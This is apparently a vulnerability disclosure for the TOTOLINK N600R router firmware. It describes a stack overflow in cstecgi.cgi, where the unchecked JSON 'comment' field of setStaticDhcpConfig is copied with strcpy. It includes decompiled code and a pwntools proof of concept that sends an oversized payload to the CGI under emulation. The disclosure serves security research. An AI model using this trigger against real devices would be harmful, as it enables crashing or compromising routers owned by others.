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d1tto add n600r ...

on Apr 15 [History](#)

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## Overview

- The device's official website: [http://www.totolink.cn/home/menu/newstpl.html?menu\\_newstpl=products&id=2](http://www.totolink.cn/home/menu/newstpl.html?menu_newstpl=products&id=2)
- Firmware download website: [http://www.totolink.cn/home/menu/detail.html?menu\\_listtpl=download&id=2&ids=36](http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=2&ids=36)

## Affected version

V4.3.0cu.7647\_B20210106

## Vulnerability details

The vulnerability exists in the router's WEB component. `/web_cste/cgi-bin/cstecgi.cgi FUN_004200c8` (at address `0x04200c8`) gets the JSON parameter `comment`, but without checking its length, copies it directly to local variables in the stack, causing stack overflow:

```

Decompile: FUN_004200c8 - (cstecgi_not_test.cgi)
35  local_78 = 0;
36  pcVar1 = (char *)websGetVar(param_1,"addEffect","0");
37  iVar2 = atoi(pcVar1);
38  pcVar1 = (char *)websGetVar(param_1,"enable","0");
39  local_3c = atoi(pcVar1);
40  pcVar1 = (char *)websGetVar(param_1,"comment","");
41  __s = (char *)websGetVar(param_1,"macAddress","");
42  __cp = (char *)websGetVar(param_1,"ipAddress","");
43  local_38 = 0;
44  local_34 = 0;
45  local_30 = 0;
46  local_2c = 0;
47  local_28 = 0;
48  local_24 = 0;
49  local_20 = 0;
50  local_1c = 0;
51  if (iVar2 == 0) {
52      local_74 = 0;
53      local_70 = 0;
54      local_6c = 0;
55      local_68 = 0;
56      local_64 = 0;
57      local_60 = 0;
58      local_5c = 0;
59      local_58 = 0;
60      local_54 = 0;
61      local_50 = 0;
62      local_4c = 0;
63      if (pcVar1 != (char *)0x0) {
64          strcpy((char *)((int)&local_6c + 2),pcVar1);
65      }

```

## POC

```

from pwn import *
import json

data = {
    "topicurl": "setting/setStaticDhcpConfig",
    "addEffect": "0",
    "macAddress": "12:34:56:78",
    "comment": "A"*0x200,
    "ipAddress": "192.168.2.1"
}

data = json.dumps(data)
print(data)

argv = [
    "qemu-mips-static",
    "-g", "1234",
    "-L", "./lib",

```

```
        "-E", "LD_PRELOAD=./hook.so",
        "-E", "CONTENT_LENGTH={}".format(len(data)),
        "-E", "REMOTE_ADDR=192.168.2.1",
        "./cstecgi.cgi"
    ]

    a = process(argv=argv)

    a.sendline(data.encode())

    a.interactive()
```